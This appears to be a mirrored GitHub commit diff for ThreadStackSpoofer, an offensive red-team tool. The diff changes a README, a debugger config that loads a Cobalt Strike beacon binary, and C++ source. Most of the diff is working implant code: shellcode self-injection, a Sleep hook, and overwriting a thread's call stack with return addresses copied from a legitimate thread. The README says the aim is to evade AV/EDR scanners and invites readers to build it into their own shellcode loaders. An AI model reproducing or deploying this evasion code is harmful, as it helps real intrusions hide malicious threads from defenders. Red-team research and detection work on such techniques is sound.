mirror of
https://github.com/mgeeky/ThreadStackSpoofer
synced 2026-06-06 16:14:32 +00:00
readme
This commit is contained in:
@@ -12,9 +12,6 @@ Especially demonstrated in this video:
|
||||
|
||||
[Nighthawk - Thread Stack Spoofing](https://vimeo.com/581861665)
|
||||
|
||||
**A note on wording** - some may argue that the technique presented in this implementation is not strictly **_Thread Stack Spoofing_** but rather _Call Stack Spoofing_ to some extent.
|
||||
I myself believe, that whatever wording is used here, the outcome remains similar to what was presented in an originally named technique - thus the borrowed name for this code. Since we're clobbering some pointers on the thread's stack, wouldn't we call it spoofing the stack anyway and ultimatley still resort to - _Thread Stack Spoofing_? The answer is left to the reader.
|
||||
|
||||
## How it works?
|
||||
|
||||
This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`).
|
||||
@@ -49,6 +46,17 @@ _(the above image was borrowed from **Eli Bendersky's** post named [Stack frame
|
||||
This precise logic is provided by `walkCallStack` and `spoofCallStack` functions in `main.cpp`.
|
||||
|
||||
|
||||
## Actually this is not (yet) a true stack spoofing
|
||||
|
||||
As it's been pointed out to me, the technique here is not _yet_ truely holding up to its name for being _stack spoofer_. Since we're merely overwriting return addresses on the thread's stack, we're not spoofing the rest part of the stack itself and also, in its current form, where we leave a sequence of `::CreateFileW` addresses acting as an example, we're making the stack non-unwindable. Meaning, the stack looks rather odd at first sight.
|
||||
|
||||
However I'm aware of this fact, at the moment I've left it as is since I cared mostly about automated scanners that could iterate over processes, enumerate their threads, walk those threads stacks and pick up on any return address pointing back to a non-image memory (such as `SEC_PRIVATE` - the one allocated dynamically by `VirtuaAlloc` and friends). A focused malware analyst would immediately spot the oddity and consider the thread rather unusual, hunting down our implant. More than sure about it. Yet, I don't believe that nowadays automated scanners such as AV/EDR have sorts of heuristics implemented that would _actually walk each thread's stack_ to verify whether its un-windable.
|
||||
|
||||
Surely with this project (and commercial implemention found in C2 frameworks) AV & EDR vendors have now received arguments to consider implementing these heuristics.
|
||||
|
||||
The research on this subject is not yet finished and hopefully will result in better quality Stack Spoofing in upcoming days. Nonetheless, I'm releasing what I got so far, to sparkle inspirations and interest community into better researching this area.
|
||||
|
||||
|
||||
## How do I use it?
|
||||
|
||||
Look at the code and its implementation, understand the concept and re-implement the concept within your own Shellcode Loaders that you utilise to deliver your Red Team engagements.
|
||||
@@ -159,7 +167,7 @@ If our callback is not called, the thread will be unable to spoof its own call s
|
||||
|
||||
If that's what you want to have, than you might need to run another, watchdog thread, making sure that the Beacons thread will get spoofed whenever it sleeps.
|
||||
|
||||
If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/rsmudge/unhook-bof/pull/2) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
|
||||
If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/Cobalt-Strike/unhook-bof/pull/1) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
|
||||
|
||||
This way you can maintain your hooks in kernel32:
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\ThreadStackSpoofer\x64\Debug\beacon64.bin</LocalDebuggerCommandArguments>
|
||||
<LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\tests\beacon64.bin 1</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -51,7 +51,9 @@ struct StackTraceSpoofingMetadata
|
||||
LPVOID pSymGetModuleBase64;
|
||||
bool initialized;
|
||||
CallStackFrame spoofedFrame[MaxStackFramesToSpoof];
|
||||
CallStackFrame mimicFrame[MaxStackFramesToSpoof];
|
||||
size_t spoofedFrames;
|
||||
size_t mimickedFrames;
|
||||
};
|
||||
|
||||
struct HookedSleep
|
||||
@@ -87,7 +89,7 @@ static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ;
|
||||
bool hookSleep();
|
||||
bool injectShellcode(std::vector<uint8_t>& shellcode);
|
||||
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode);
|
||||
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames = false);
|
||||
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve = Frames_To_Preserve);
|
||||
bool initStackSpoofing();
|
||||
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL);
|
||||
void spoofCallStack(bool overwriteOrRestore);
|
||||
|
||||
@@ -112,7 +112,7 @@ bool hookSleep()
|
||||
return true;
|
||||
}
|
||||
|
||||
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames /*= false*/)
|
||||
void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve)
|
||||
{
|
||||
CONTEXT c = { 0 };
|
||||
STACKFRAME64 s = { 0 };
|
||||
@@ -217,7 +217,7 @@ void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, siz
|
||||
// Skip first two frames as they most likely link back to our callers - and thus we can't spoof them:
|
||||
// MySleep(...) -> spoofCallStack(...) -> ...
|
||||
//
|
||||
if (Frame < Frames_To_Preserve)
|
||||
if (Frame < framesToPreserve)
|
||||
continue;
|
||||
|
||||
bool skipFrame = false;
|
||||
@@ -267,14 +267,23 @@ void spoofCallStack(bool overwriteOrRestore)
|
||||
{
|
||||
for (size_t i = 0; i < numOfFrames; i++)
|
||||
{
|
||||
if (i > g_stackTraceSpoofing.mimickedFrames)
|
||||
{
|
||||
CallStackFrame frame = { 0 };
|
||||
g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame;
|
||||
break;
|
||||
}
|
||||
|
||||
auto& frame = frames[i];
|
||||
auto& mimicframe = g_stackTraceSpoofing.mimicFrame[i];
|
||||
|
||||
if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof)
|
||||
{
|
||||
//
|
||||
// We will use CreateFileW as a fake return address to place onto the thread's frame on stack.
|
||||
//
|
||||
frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
|
||||
//frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
|
||||
frame.overwriteWhat = (ULONG_PTR)mimicframe.retAddr;
|
||||
|
||||
//
|
||||
// We're saving original frame to later use it for call stack restoration.
|
||||
@@ -445,6 +454,40 @@ bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
|
||||
return (NULL != thread.get());
|
||||
}
|
||||
|
||||
/*
|
||||
void _acquireLegitimateThreadStack(LPVOID param)
|
||||
{
|
||||
ULONG_PTR lowLimit = 0, highLimit = 0;
|
||||
ULONG stackSize = highLimit - lowLimit;
|
||||
GetCurrentThreadStackLimits(&lowLimit, &highLimit);
|
||||
|
||||
g_stackTraceSpoofing.legitimateStackContents.resize(stackSize, 0);
|
||||
memcpy(g_stackTraceSpoofing.legitimateStackContents.data(), (const void*)lowLimit, stackSize);
|
||||
}
|
||||
*/
|
||||
|
||||
bool acquireLegitimateThreadStack()
|
||||
{
|
||||
CallStackFrame frames[MaxStackFramesToSpoof] = { 0 };
|
||||
size_t numOfFrames = 0;
|
||||
|
||||
HandlePtr secondThread(::CreateThread(
|
||||
NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)::Sleep,
|
||||
(LPVOID)INFINITE,
|
||||
0,
|
||||
0
|
||||
), &::CloseHandle);
|
||||
|
||||
Sleep(1000);
|
||||
|
||||
walkCallStack(secondThread.get(), g_stackTraceSpoofing.mimicFrame, _countof(g_stackTraceSpoofing.mimicFrame), &g_stackTraceSpoofing.mimickedFrames, false, 0);
|
||||
|
||||
return g_stackTraceSpoofing.mimickedFrames > 0;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc < 3)
|
||||
@@ -472,6 +515,12 @@ int main(int argc, char** argv)
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (!acquireLegitimateThreadStack())
|
||||
{
|
||||
log("[!] Could not acquire legitimate thread's stack.");
|
||||
return 1;
|
||||
}
|
||||
|
||||
log("[.] Hooking kernel32!Sleep...");
|
||||
if (!hookSleep())
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user